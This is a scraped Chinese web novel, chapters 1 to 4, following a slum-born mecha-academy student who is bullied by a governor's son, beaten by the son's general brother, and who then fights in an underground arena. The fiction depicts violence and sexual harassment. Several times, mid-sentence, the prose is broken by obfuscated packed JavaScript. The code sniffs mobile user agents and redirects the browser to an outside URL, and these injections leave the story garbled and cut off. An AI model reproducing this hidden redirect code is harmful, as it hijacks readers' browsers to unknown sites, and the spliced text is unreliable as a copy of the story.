《上位者为爱臣服》 1. 第 1 章 不该动手的,谢筠有一瞬间后悔。 平日里嚣张跋扈目中无人的家伙此刻半撑着地面,鼻子下还挂着两行血迹,那双总是带着轻蔑的眼睛此刻像淬了毒的刀子,死死剜着他。 这不是他能惹得起的人。 他很少会被愤怒冲昏理智,只不过这次晏舒乐太过分了。 能进入阿尔法星机甲工程学院的人,要么有背景,要么有实力。 为了考上这所学院,谢筠拼尽全力,他没有背景,也没有培养他这方面能力的家人,他是付出了比其他人更多的努力才得偿所愿。 学校对于能考入学院的学生并没有制定特别严格的校规,只有一条明文规定,就是不能拖欠学费。 尽管学院利益至上,但对于条件困难的学生也会提供贫困生补助,只是需要审核资格。 一个人不能同时领取奖学金和补助金。 奖学金的金额比补助金高出许多,条件是学期考核成绩必须在前三。 前两年谢筠每学期的考核成绩基本都在第一或者第二名,唯独这学期他考了第四名。 机甲考试的环节,谢筠在操纵过程中出现了两个失误。 小小的失误都会影响最终的成绩,所以一开始谢筠真的以为是自己的原因,可某一次在厕所里他无意间听见不相熟的两人的悄悄话,才知道是晏舒乐让人在他使用的那副机甲上做了手脚。 能让他的机甲在某个过程中暂时失灵两秒。 机甲的操纵是非常严谨的过程,两秒的失灵如果是在战场上,都有可能要了谢筠的命。 尽管因此失去了奖学金,但那次谢筠忍了,他没有证据去证明这件事是晏舒乐做的,他也拿晏舒乐没有任何办法,因为就算他去导师那里告状,这件事大概也只会不了了之。 晏舒乐是总督的小儿子,除此之外,他的哥哥还是帝星赫赫有名的英雄上将。 这样的背景是连学院那些上层领导都不敢招惹的。 就算谢筠的导师很照顾他,他也清楚导师是没办法为自己讨回什么公道的。 晏舒乐看着自己手心里的鼻血,气急败坏道:“该死的臭虫,你敢打我?” 谢筠沉默的看着他,其实他内心已经慌了,但是他脸上还是没什么表情。 他习惯隐藏自己的情绪了。 在别人眼里,谢筠沉默寡言,不爱和人相处,有人觉得他性格内敛,有人觉得他高傲。 他和晏舒乐的矛盾也是因为这个原因结下的。 两年前刚考入学院时,谢筠和晏舒乐好巧不巧被分配在了同个宿舍。 一个宿舍四个人,谢筠是四人里面成绩最好,但家境最差的。 他也是学院近年来,唯一一个从贫民窟考进来的资优生。 所以学院那年的新生里出现了两个被热烈讨论的对象,一个是帝星总督之子晏舒乐,一个自然就是出生在贫民窟的谢筠。 而在学院论坛热烈的讨论中,谢筠也了解到了晏舒乐的身份背景,也就明白为什么那天晏舒乐来宿舍时,会带着十个护卫军,还有好几个帮他拿行李的佣人和帮他整理床铺和一切用品的保姆。 那样的阵仗,谢筠从未见过。 而晏舒乐一来到宿舍,就摆出了高高在上的态度,提出了许多个人习惯,并要求这件宿舍内的人都必须按照他的习惯来生活。 比如如果他白天想睡觉,其他人就不许回宿舍。如果他早上没起床,其他人要等他起床再起床。晚上他如果要睡了,其他人必须要马上睡觉,反之其他人也不许睡觉等等…… 对于那些要求,谢筠没有什么感觉,他从小就是在恶劣的环境中长大,他最擅长做的事就是忍耐。 宿舍里另外两个人对晏舒乐阿谀奉承,拼命献殷勤,恨不得能做晏舒乐的狗腿子。 谢筠不懂怎么阿谀奉承,在宿舍就尽量降低自己的存在感,做个默默无闻的存在。 他没想到自己的沉默也会引来不满。 他不知道其实从住进宿舍开始晏舒乐就已经讨厌他了。 晏舒乐非常不爽谢筠这样一个贫民窟出来的家伙和自己在同一时刻成为了学院的热点人物。 晏舒乐是天之骄子,从小众星捧月长大,他的身份背景是足够让普通人仰望的。 更何况谢筠一个贫困生? 奉承他,在多数人看来不是谄媚,而是识时务。 谢筠的不迎合,自然就成了自视清高。 在晏舒乐眼里谢筠的态度就是赤裸裸的挑衅,他从出生起就站在大多数人需要仰望的高度,自己的优越是理所当然,凭他的家世背景本就该收获所有人的顺服。可谢筠偏不,这个穿着洗得发白衣服,连生活费都要精打细算的男生,不仅没对自己露出半分敬畏,甚至在眼神交汇时都带着一种平静的疏离。 晏舒乐无法忍受,他认为自己有高傲的资本,但谢筠不该有。 一个贫民窟出来的臭虫,也配在他面前拥有尊严? 第一次被晏舒乐针对的时候,谢筠以为是因为他找自己帮他作弊,被自己拒绝了的原因。 直到后面的针对越来越频繁,谢筠才理解这已经是一场恶意围剿。 晏舒乐根本不需要亲自动手,他只要示意示意,自然有许多想要讨好他的人上赶着做他的鬣狗。 学院是不允许出现霸凌的,所以他们就会耍些阴招。 舍友找到机会就往他床铺上倒脏水、扔垃圾,或者剪破他的衣服,往他鞋子里放图钉。 而其他人就在训练课上故意推搡他或者绊倒他。 但对于这些,谢筠都能忍。 床单被套可以洗干净,衣服可以重新买,图钉倒掉就好,被绊倒爬起来就行了…… 在谢筠的认知里,这些都算不上大事。 比起童年里那些突如其来的巴掌和恶毒的咒骂,比起继母手里挥落的棍棒和被关在狭小仓库里的漫长黑夜,学院里的这些恶意,似乎还温和一点。 五岁他母亲生病去世后,他爸很快就把继母余苓带回了家。 那时候谢筠才知道他爸早就出轨多年,荒唐的是继母余苓带过来的那个儿子,居然是他爸亲生的,和他同岁! 余苓把对他母亲的怨恨全都转移在了谢筠身上,和他爸结婚没多久,就找理由把他赶出了家,让他住在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074200|179307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楼道里。 他从小睡在楼道长大,春夏秋冬,日复一日,没人关心过他热不热,冷不冷,吃没吃饱,穿没穿暖。 他拼尽一切考上阿尔法星这所机甲学院,就是为了摆脱原生家庭。 这是帝星最好的学府,从这里毕业的优秀毕业生可申请帝星永久居民身份,解除原生户籍绑定。 疼痛和屈辱是他生活的常态,反抗只会让一切更糟。 忍忍就过去了。 他习惯了欺辱,也习惯了忍耐。 没有能力的反抗,不过是在给自己招来更凶狠的报复,这是那些在黑暗里熬过来的时光教会他最深刻的道理。 对谢筠来说,顺利毕业才是能彻底逃离泥潭的船票。拼尽全力考进这所学校,他赌上的是所有,他没有后盾,想要顺利毕业,只能隐忍。 当初他换了宿舍和晏舒乐没有接触后,那些对他的针对也慢慢减少。 他就开始刻意避开会碰到晏舒乐的可能性。 相安无事了一年多,没想到会在最后这一年和晏舒乐选到同一个专业课。 专业课选定后不能更换,谢筠没有办法,只能去上课。 他是导师最喜欢的学生之一,成绩优越,能力出众,在专业课上想默默无闻都不可能。 晏舒乐果然又开始明里暗里针对他。 这学期结束,他就可以去帝星军部实习。 只要熬过这一年就可以。 谢筠这学期的学费还没交齐,拿不到奖学金,导师就建议他去申请贫困生补助。 以他的情况,本该轻松通过审核,可还是被晏舒乐搞没了。 不单如此,晏舒乐不知道从哪里搞到了他母亲的照片,让人P成各种各样滑稽恶俗的遗照,用匿名的方式传到他的通讯器上。 就算他母亲确实已经去世了,他们也不能P她的遗照来取笑她。 谢筠找到晏舒乐,希望对方能停止这场恶作剧。 晏舒乐这样骄横恣肆的性格肯定是从小被家人溺爱长大养成的。 但谢筠想他毕竟出生在权贵世家,总会被教导礼仪道德,自己诚恳一点请求和道歉,对方或许会大发慈悲放过他。 然而他想错了。 晏舒乐眼神轻蔑地看着他,用满不在乎的语气说:“臭虫的妈也是臭虫,P她的遗照怎么了?我就是让人P她的裸///照,你又能拿我怎么办……” 他这句话还没说完,谢筠的拳头就已经砸在了他的脸上。 体能特训中谢筠也都是名列前茅,他这一拳如果没有扣住力道,能把晏舒乐的鼻梁骨打断。 母亲是他的底线,是这世上唯一爱他的人。 谢筠可以忍受自己被人欺辱,却不能容忍晏舒乐这样羞辱他母亲。 只是这一拳挥出去后,他知道自己大概没可能从这所学院顺利毕业了。 甚至于未来,可能也会变得坎坷。 只是事已成定局,他后悔也没有意义了。 晏舒乐捂着鼻子站起来,他瞪着谢筠一字一句恶狠狠道:“你死定了!谢筠。” 谢筠什么话都没有说,转身就走了。 2. 第 2 章 谢筠回到宿舍,将书本和衣物一件件塞进行李箱。 晏舒乐大概是会逼他退学的,与其等他羞辱,不如现在就做好准备,明天一早就主动去导师那递退学申请。 整理的动作没持续多久,宿舍门被推开,一个室友走了进来。 男生一眼就瞥见了床上摊开的行李箱,脚步顿了顿,最终只是靠在门框上轻轻叹了口气:“既然都忍了这么多次了,怎么不再忍忍呢?” 男生是宿舍里和谢筠关系最好的,虽说不是出生在贫民窟,但他也是普通家庭。因为知道自己这样的普通人要付出多大的努力才能考进帝星最好的机甲学府,因此对从贫民窟一路闯出来的谢筠,他心底自然而然多了份由衷的佩服。 他知道谢筠一直在被晏舒乐欺负,只是谢筠是什么事都放心里的性格。男生不知道这次晏舒乐到底是做了多过分的事才能把向来隐忍的谢筠逼到挥拳相向的地步。只不过就算他知道也无能为力,别说他只是个无权无势的普通学生,就算同为权贵子弟,在这所学院里,又有几个敢真正得罪晏舒乐? 晏舒乐在学院无法无天俨然就是一个小太子,所以没人会替谢筠出头的。 谢筠没说话,依旧默默整理自己的东西。 “难道你打算自己退学?”男生猜到了谢筠的想法,有些难受道:“今年结束以你的成绩绝对可以被‘飓鸾’内招,就这样退学太可惜了。” ‘飓鸾’战队是帝星最强的战队之一,只招收实力强劲的人员。 不管是操纵机甲还是飞行器,又或者是体能,谢筠的成绩在学院都是名列前茅的。 去年‘飓鸾’战队来学院给学生进行一周特训,就点名夸赞过谢筠。 那时‘飓鸾’的队员对谢筠青睐有加,不仅毫不掩饰欣赏之意,更明确表态等他第三学年结束,希望谢筠能考虑加入 ‘飓鸾’ 的内部特训。 但一旦谢筠选择退学,进入 ‘飓鸾’ 的宝贵机会便会就此落空。 “我没得选择。” 从他挥出那一拳开始,他就没有了后路。 “要不…… 你去道个歉试试?说不定还有挽回的余地呢?” 男生实在不忍心看着谢筠的前途就这么毁了。 谢筠扯了扯嘴角,露出一抹自嘲的笑:“恐怕我就算给他跪下,他也未必会放过我。” 男生沉默了,他也知道晏舒乐原谅谢筠的可能性本就微乎其微。他望着谢筠眼底的苦涩,张了张嘴却没再说出什么,最终只是重重地叹了口气。 谢筠其实生得极好看。他脸型小巧,五官精致得像是精心雕琢过一般。男生还记得刚见到他时,谢筠的肤色本来是冷白的,这两年特意晒成了健康的浅麦色,衬得五官愈发立体分明。原本略显纤细的身形,如今也练得肌理精壮,是一副极具张力的漂亮躯体。 男生还记得有一次在浴室里曾有人借故调戏过谢筠,面对那样露骨的骚扰,谢筠都能面无表情,甚至都没有生气,只是很平静的拒绝了对方。在他的印象里,谢筠好像永远只对学业和训练上心,对其他很多事都漠不关心。他见过谢筠笑的次数屈指可数,可无论是偶尔的浅笑,还是此刻这般带着苦涩的笑,都格外动人。那瞬间柔和下来的眉眼,总能让人忽略他平日里的沉闷,窥见几分少年本该有的清俊。 男生曾暗自猜想,晏舒乐对谢筠的处处针对,会不会藏着几分对他容貌的嫉妒。 男生之间的嫉妒心,有时也会落在外貌上。 毕竟曾有人在私下议论,说晏舒乐的长相其实不如谢筠出众。没人说得清这两人为什么会被放在一起比较,但那句轻飘飘的评价,或许就成了晏舒乐心底记恨谢筠的一根刺。 哪怕只是旁人无意的闲谈,对向来骄纵自负的晏舒乐而言,恐怕也是难以容忍的冒犯。 谢筠等到第二天,在前往导师办公室的路上,被一行人气势汹汹地拦住了去路。 四个身穿笔挺军队制服的高大男人呈扇形站定,将他堵在了过道上。 谢筠正疑惑间,一个比这四人还要高出半头的身影已拨开人群,缓步走了过来。 男人身侧,晏舒乐正微微仰着头,脸上带着毫不掩饰的得意与挑衅,谢筠马上就猜到了对方的身份。 能让晏舒乐如此亲近的,也只有帝星那个传闻中实力最强的英雄少将。 晏斯牧,他的哥哥。 眼前是一张英俊到极具攻击性的面容,眉骨高挺,下颌线冷硬如刀刻,一双深邃的眼眸里没有半分温度,神情冷漠得近乎森然。男人身形高大挺拔,肩宽腰窄的制服轮廓勾勒出沉稳的力量感,往那里一站,自带一股迫人的威压。 这对兄弟的容貌其实并不相像,晏舒乐的五官偏精致阴柔,带着几分养尊处优的娇气。而晏斯牧的脸则硬朗凌厉,眉宇间沉淀着久居上位的肃杀气场,光是站在那里,就让周遭的空气都仿佛凝滞了几分。 “你是谢筠?”对方开口,声音冷沉如冰。 “是。” 谢筠应道,放在袖子里的手悄然握紧,指节因用力而泛白。 眼前的男人像一座沉默的冰山,周身散发出的压迫感几乎让他喘不过气。短短几秒内,无数念头在脑海中翻涌,对方会怎么对他? 一种近乎本能的恐惧攫住了他,让他产生了想逃的冲动。 不过片刻功夫,过道外两侧的草坪上已经围拢了不少闻讯而来的学生,无数道目光或好奇、或同情、或看好戏般落在他身上。 导师的办公室就近在咫尺,可这么大的动静,却没有半位导师从办公室里出来。 谢筠知道,今天他是逃不掉了。 得到回应后,晏斯牧没再多说一个字,只是眼皮微抬,给了个无声的示意。 那四个手下立刻心领神会,其中两人快步上前,一左一右死死钳住谢筠的手臂,将他牢牢架在原地。 另一个男人走到他面前,根本不给任何反应的余地,砂锅大的拳头带着劲风,直直砸向他的面门。 帝星少将麾下的兵,个个都是军队里淬炼出来的精英,他们要让人疼得钻心却不留伤痕易如反掌,此刻下手更是毫不留情。 谢筠只觉得脸上先是一阵麻木的钝响,短短几秒后,剧烈的酸涩与撕裂般的疼痛立刻袭来。 温热的液体顺着鼻孔不住滑落,眼泪不受控制地从眼尾淌下,模糊了他的视线。 脸颊痛得像是要炸开,连呼吸都带着灼痛,可对方根本不给任何缓冲的机会,下一拳直接狠狠砸在了他的肚子上。 “唔!” 一声压抑的痛吟从喉咙里挤出,谢筠的身体瞬间像只被击中的虾米般剧烈蜷缩起来,手臂被死死钳制着无法弯曲,只能任由那股剧痛从腹部炸开,沿着五脏六腑蔓延开,肠子仿佛被搅成了一团,胃里更是翻江倒海。 他猛地张开嘴,却没吐出任何东西,只有浓郁的血腥味顺着嘴角淌下,在舌尖弥漫开苦涩的铁锈味。 晏舒乐看着谢筠,用口型说了‘臭虫’两字。 那是被保护者胜利的姿态。 他母亲死后,就再也没有人会护着他的人了。被继母打的时候没有,现在也没有。 无法否认,在看着晏舒乐被晏斯牧那样维护的时候,谢筠的内心不受控制的产生了羡慕的情绪。 可他没有哥哥,没有那样的靠山,就连记忆里母亲爱护自己的画面都变成了模糊的碎片。 不会有人护他的,他只有一个人。 钳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢筠怔愣了好一会儿,他没想过导师会为了他冒着得罪晏斯牧的风险替他求情。 他习惯了在受委屈的时候忍耐了,从小忍到大,他已经不爱哭了,却在这一刻鼻尖控制不住开始泛酸。 “老师,谢谢你。” 导师抬手轻轻摸了摸他的头,动作里满是疼惜:“谢筠,凭你的能力,老师相信你将来在帝星一定能闯出自己的天地,千万别灰心,更别放弃。” 他顿了顿,语气认真道:“你或许出生不好,但你有别人比不了的毅力,记住,人只有让自己真正强大起来,才有底气站稳脚跟,才有资格对不公还击,明白吗?” “我明白。” 曾经他那么拼命只为了摆脱原生家庭,可现在才明白,如果不彻底改变自己的命运,在面对类似晏舒乐或者晏斯牧这样的权贵时,他就只能是他们口中那个身份卑贱的人。 他要变强才行。 “还有一件事……” 导师犹豫的语气让谢筠疑惑,抬眼问道:“什么事?” “我是想,你……先申请延毕吧。” 导师的语气里满是无奈的考量,“我知道这对你很不公平,可你现在和晏家那位小公子的矛盾太深了,一年时间说长不长,说短也不短,要是这期间再出什么岔子,那时候我就没办法再保你一次了。” 谢筠沉默着,而他导师则放轻声音劝道:“你先休学一年,等晏舒乐毕业了再回来完成学业,这样至少能避开和他产生矛盾,老师知道你是多努力才考上我们的学院的,我也由衷的希望你能拥有一个有前景的未来,只是晚一年而已,但老师觉得这是最稳妥的办法了。” 3. 第 3 章 “深夜那两场你去守吧。” 身材健硕的男人从外场进入员工休息室,对着在里面闭目养神的谢筠说。 说是员工休息室,其实不过是间从废弃仓库里勉强收拾出来的狭小空间。头顶的白炽灯蒙着层灰,光线昏昏沉沉的,勉强照亮房间里几张掉漆的旧椅子。想眯一会儿的话,也只能背靠着冰冷的墙壁,在硬邦邦的椅背上蜷着小憩。 这房间的隔音非常差,外面擂台观众的狂呼和嘶吼无孔不入地涌进来,震得耳膜嗡嗡作响。除非是累到连眼皮都抬不起来的地步,否则根本别想在这嘈杂里合上眼。 谢筠在这个地下角斗场打工已经两个多月了,也逐渐适应了这里的生活。 他申请了延毕,没有毕业证明,也就拿不到阿尔法星的公民身份,现在在帝星是个没有合法身份的黑户。 会接纳黑工的地方,本就不会是什么规规矩矩的场所,这里充满暴力和血腥。 谢筠刚来应聘时,管事的看见他的脸,嗤笑着说他们这里不招小白脸。 然而在谢筠徒手放倒他两个保镖后,管事立刻问他什么时候可以上班。 在这里上班的要么和他一样是黑户,要么也不是什么正经人。 “恩。” 深夜场都要通宵,不过谢筠还是应了一声,从口袋里拿出黑色口罩,利落地往脸上一戴,将大半张脸遮了个严实。起身从那男人身边绕过时,感受到了男人投在他身上那炽热露骨的目光,他选择无视,径直走出了休息室。 他所在的这家地下角斗场,在帝星的灰色地带里算得上是规模顶尖的存在。这里藏在城市边缘的废弃工业区深处,却有着完善的格斗擂台、机甲检修库,甚至连观众席的声光设备都堪比正规赛场。 而他们幕后那位神秘的大老板,此人从不出面,却通过层层管理者牢牢掌控着这里的一切,对员工的要求也非常严苛,身份可以是黑户,来历可以不光彩,但有一条铁律,就是绝对不能给他惹事。 无论是在角斗场内部寻衅斗殴,还是在外头招惹不该惹的人,只要坏了规矩,就没人能好过。听说曾经有两个员工因为矛盾发生了争执,结果第二天两人都彻底没了踪影,连同他们在员工宿舍的行李都被清理得一干二净,仿佛从未在这里存在过。对那位手眼通天的老板来说,让他们这些底层人悄无声息的消失,大概轻而易举。 所以他知道男人不敢对他做什么。 谢筠走进擂台场地时,震耳欲聋的声浪几乎要掀翻屋顶。今晚的角斗场开了能容纳千人的大场,看台上早已座无虚席,连过道和后排的阶梯上都挤满了人,密密麻麻的身影在昏暗的灯光下攒动,嘶吼声、口哨声、押注时的叫喊声混杂在一起,将场内的气氛烘托得火热到近乎沸腾。 这里也不是次次都这么满座火爆的,只是今晚不同,因为今晚那个人会出现。 他们都叫他“枭”,一个只在深夜现身的强者。 枭每个月固定来角斗场打两场擂台,一场是肉搏,一场是机甲。每次出现他都带着机械面具,至今没人见过他面具下的真容。 只要枭出现的夜晚,必然是整个地下格斗圈最沸腾的时刻。 他太强了,押注时几乎清一色选他必胜,连庄家都要特意调整赔率才能平衡。 而他赢了擂台从不要奖金,反而会将所有奖金原封不动地推给输掉的对手。于是就算明知会被打得鼻青脸肿,也有许多人争先恐后地抢着报名和他对战。 上个月,谢筠曾有幸看过一场枭的机甲擂台赛。 直到现在回想起来,那近乎炫技的操控画面依旧清晰,无法否认,那是一场足以让人热血沸腾的精彩对决。 谢筠一直对自己的机甲操控水平颇有自信。 从学院的模拟训练到实战考核,他一直是同批学生里的佼佼者。可那天亲眼见到枭的操作后,他才真切意识到差距。 枭驾驶的不过是最基础的D级机甲,性能甚至不如学院的训练机型,却被他操控得如臂使指,每一次闪避、攻击都精准得毫厘不差,连机甲本身的卡顿缺陷都被完美弥补,硬生生打出了S级机甲的压制力。 这绝对不是单靠苦练就能达到的境界,只能说明枭在机甲领域确实天赋异禀。 面对这样的强者,任何人都会生出几分向往与挑战欲。 所以今晚就算没人安排,谢筠也会主动要求来看场。 他站在看守者固定的岗位上,脸上架着一副深色的全息墨镜。镜片泛着冷光,能将场地里的每一个细节都实时收录、放大。 就在这时,镜片里的画面动了。 枭进场了。 肉搏擂台的顶端悬着六块巨大的全息显示屏,光影明亮,专门为后排和角落的观众同步直播赛场动态。 枭刚踏上擂台的瞬间,悬浮在半空的拍摄飞行器便立刻锁定了他,将那道戴着机械面具的挺拔身影清晰投射到每一块屏幕上。 看台上的欢呼声骤然拔高,尖叫和呐喊几乎要掀翻屋顶。 机甲擂台那一次谢筠并没有看见枭本人,只看见了机甲在场上对决的画面。 而现在透过墨镜,他盯着屏幕里那道挺拔的身影,视线无意识被场上这个男人所吸引。 肉搏擂台是需要赤//裸上身的,屏幕里男人露出来的上半身的肤色很白,在强光照射下几乎泛着冷玉般的光泽,却不是孱弱的苍白,是一种常年锻炼才能养出的匀净肌理。他也不是那种肌肉虬结的爆发型身材,肩背线条流畅利落,腰腹隐约可见的腹肌紧实匀称,每一寸弧度都透着恰到好处的力量感。再配上他修长挺拔的身形,像一柄收鞘的冷刃,明明身姿精瘦,却透着股无所畏惧的压迫感。 而他对面的挑战者,则是个截然相反的存在。那男人身材魁梧如铁塔,裸露的上身布满狰狞的疤痕,满脸横肉随着呼吸微微颤动,眼神凶狠得像要吃人,光是往台上一站,就自带一股蛮横的威慑力。 两人站在擂台两端,一静一动,一瘦一壮,鲜明的反差被显示屏无限放大,瞬间点燃了观众的热情。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不要比赛奖金,又为什么来打擂台呢? 谢筠对这个枭越来越好奇了。 他想和枭比一场,他想站到那个戴着机械面具的男人对面,用尽全力对决一次。不为奖金,不为胜负,只为弄清楚彼此之间的差距。更想看看在绝对的天赋与技巧面前,自己日复一日的苦练究竟能支撑到哪一步。 “你想打机甲擂台?” 管事刘禹半靠在皮质老板椅里,指尖夹着支燃着的雪茄,烟雾在他眼前缭绕。 他抬眼扫过站在对面的谢筠,眉梢挑得老高,语气里带着几分玩味的质疑:“要跟枭打擂台,规矩你懂吧?除了租机甲的费用,还得额外交一笔报名费,你刚来这儿没多久,攒够钱了?” 自从枭成了角斗场的必胜神话,赢了的奖金又全给对手后,想跟他打的人能从选手通道排到角斗场门口的大街,毕竟输赢都有钱拿,输了不亏,赢了更是能一战成名。 想要挑战枭的人太多了,而枭一个月又只出现两场,所以角斗场干脆定了规矩,想挑战枭可以,交报名费。想插队也可以,交插队的钱,价高者得。 刘禹吐出个青白的烟圈,烟味混杂着廉价古龙水的气息弥漫开来。他盯着眼前青年漂亮的侧脸,眼神里猥琐的念头毫不掩饰,嘴角勾起一抹令轻佻的笑:“要不这样,你今晚陪我睡一次,这报名费我替你免了,还能让你直接排到下个月的机甲擂台,怎么样?” 4. 第 4 章 “我选择打擂台。”谢筠语气平静。 他现在确实没有那么多钱,但只要赢几场擂台赛,凑到这笔钱应该不会难。 眼前这个青年,看似木讷,实则性格倔强,刘禹猜到他不会答应,只是嗤笑一声,掐灭了雪茄说:“随你。” 反正对角斗场来说,自然乐见员工下场打擂台。毕竟观众也爱看新鲜面孔的厮杀,越是有潜力的新人,越能勾起赌徒们的押注欲。 他们招收的看守本身就要求有不错的身手,上层那些管理者更是巴不得这些人都去擂台拼杀。 这些在底层苦苦挣扎的家伙们,多少都藏着点未被发掘的狠劲。 像枭这样的顶级强者固然可遇不可求,但只要有机会捧出几个有他一半实力的新人,或是杀出几个风格凌厉的黑马,就能持续吸引流量,也能让看客的赌资像流水般涌进角斗场的账户。 “别说我不照顾你,”刘禹眯着眼,笑着缓缓道:“这样,你连打六场,三场肉搏,三场机甲,只要能赢下其中三场,那笔插队报名费我就给你免了,怎么样?” 想挑战枭的插队费,正好差不多是三场胜利的奖金总和,而这刘禹说得仿佛真是在格外关照他一样。 但谢筠没心思和对方争论这些,他的目标是站上和枭对决的机甲擂台。 “可以。”他点头答应,没有丝毫犹豫。 刘禹哂笑了一声。 果然还是个没什么经历的老实年轻人,连讨价还价都不会,就这么轻易答应了。 连打六场,哪怕场次分开在三天进行,对体力和精神的消耗也是巨大的,老手都不一定能承受,更别说谢筠这个嫩生生的新手。 刘禹打量眼前的青年,思考对方到底是对钱感兴趣,还是对枭这个人感兴趣。 他当然希望是前者,因为青年如果想要钱,他就能用钱引诱对方。但如果是后者,那青年就是在痴心妄想。 刘禹在社会上混了这么久,接触过各式各样的人,唯独那个枭,只不过是短暂的接触而已,就让他内心生出畏惧。 那是生物惧怕强者的本能。 那像枭这样的男人,又怎么可能对一个底层黑户有兴趣。 角斗场所说的一场擂台赛,不是普通人理解的单场对决。角斗场的规则,一场擂台赛其实是三局两胜制的三连战。也就是说,每一场都要连续迎战三个挑战者,赢下其中两场才算胜利。 而刘禹的意思是要谢筠每场三连胜。 也就是说他不但要和十八个人打擂台,还必须在六场三连战里,至少赢下其中的三场对决的三连胜,换算成单个挑战者,就是要赢九个对手。 刘禹偏还让他连打六场,摆明就是故意想要消磨谢筠的气力,他笃定谢筠会承受不了,也笃定他赢不了。 “行吧,等我安排好时间再通知你。”刘禹靠回老板椅里,一副胜券在握的样子,语气慢悠悠的,带着施舍般的傲慢。他目光在谢筠的脸上流连,舔了舔唇角,笑着说:“当然,要是你中途撑不住,想通了,我前面的提议依旧算数。” 像刘禹这类人,最病态的乐趣莫过于此。 他们见惯了底层的讨好与顺从,就偏偏对那些骨子里带着倔强,眼神还没被世俗染透的干净漂亮的男孩子格外 “上心”。 看着那点不肯低头的韧劲被碾碎,那身清冽的气质被拖进泥沼染成黑色,他们享受这种掌控感,喜欢用权力和威胁逼对方屈服,看着那些曾经挺直的脊梁弯下去,那些清澈的眼神染上恐惧和绝望。就像对待一件精美的瓷器,非要亲手摔碎才觉得痛快。 “我会赢。” 谢筠说完这句话,就离开了刘禹的办公室。 …… 他的擂台赛被安排在两天后,一共打三天,每天都是一场肉搏赛和一场机甲赛。 谢筠提前知晓了和他对决的挑战者名单,看着上面的名字,他心里了然,这些应该是刘禹特意安排的,全都是打擂台的老手了,个个实力不凡。 对方大概就是想要用这些经验丰富的老手来威慑他,最好是让他在第一天就败下阵来。 而谢筠,正好就希望对方这样来安排。 谢筠能考上阿尔法星最好的机甲学府,除了付出比别人更多的努力,还有他自身敏锐的观察力。 就像他只看了两场枭的擂台赛,就能清晰认识到自己和对方的差距。 这两个多月在角斗场,大部分人的擂台赛,他都看完了。 在他心里,对这些人的实力和弱点有一个大致的概念。 第一天的首场肉搏赛开场时,看台上的议论声就没停过。 这场擂台来的观众并不多,不少观众还是冲着角斗场宣传的“新人为枭连打六场”的噱头来的,想挑战枭不稀奇,但连打六场是件稀奇事。 原本观众以为谢筠会是什么身材健硕高大的男人,可当他赤着上身走上擂台,清瘦的身形暴露在聚光灯下时,看台上的风向瞬间变了,几乎所有人在看见他后就把筹码压给了他的对手。 “这小子能经打?” “估计撑不过三个回合就得趴下,老牛可是能一拳打断肋骨的主儿!” 质疑声此起彼伏,新人挑战者不被看好本是常态,但谢筠那张过分惹眼的脸,让场上多了些不堪入耳的调笑。 有人吹着口哨对着擂台喊:“小白脸,别打了!等会儿脸被打花了,哥哥们会心疼的!” 话音刚落,周围就爆发出一阵哄笑。 更有人直接站起来,举着手里的钞票大喊:“你是不是缺钱?跟我走,今晚给你开的价,比赢这场擂台多几倍!我包养你!” 谢筠站在擂台中央,听着这些污言秽语,脸上没什么表情,目光落在对面的对手身上,那壮汉正捏着拳头冷笑,眼神里的轻蔑和贪婪几乎要溢出来,显然也把他当成了可以随意拿捏的软柿子。 机器人裁判吹响哨声的瞬间,老牛就像辆失控的坦克猛冲过来,带着破风的拳势砸向谢筠的面门。 看台上的叫喊声陡然拔高,所有人都等着看新人被一拳KO的场面。 可下一秒,谢筠的身影忽然向侧后方滑出半步,动作快得像道残影。 老牛的重拳擦着他的鼻尖落空,巨大的惯性让他往前踉跄了一下,就是这个瞬间,谢筠欺身而上,手肘精准地磕在对方的旧伤左膝上。 “咔嚓”一声轻响被淹没在喧嚣里,但老牛脸上的狞笑瞬间变成了剧痛的扭曲。 谢筠没给对手喘息的机会,转身、拧腰,一记干脆的侧踢正中他的肋下。 只听“咚”的一声闷响,刚才还不可一世的壮汉竟直直跪了下去,捂着膝盖和肋骨疼得浑身发抖。 裁判还没开始数数,看台上的哄笑和调笑就骤然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074203|179307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 停了。 谢筠站在擂台上,汗水顺着下颌线滑落,他没看那些目瞪口呆的观众,只是对着裁判比了个“可以宣布结果”的手势。 刚才喊着“包养”的男人愣在座位上,举着钞票的手尴尬地停在半空。 之后的两场肉搏对决,谢筠赢得同样干脆利落。 三场连胜,让机器人裁判都不停喊着‘恭喜擂主,恭喜擂主’。 那些押谢筠输的赌徒们哀嚎一片,不少人输得血本无归,而角斗场的庄家却在后台笑得合不拢嘴,这场冷门爆得彻底,流水比预期翻了好几倍。 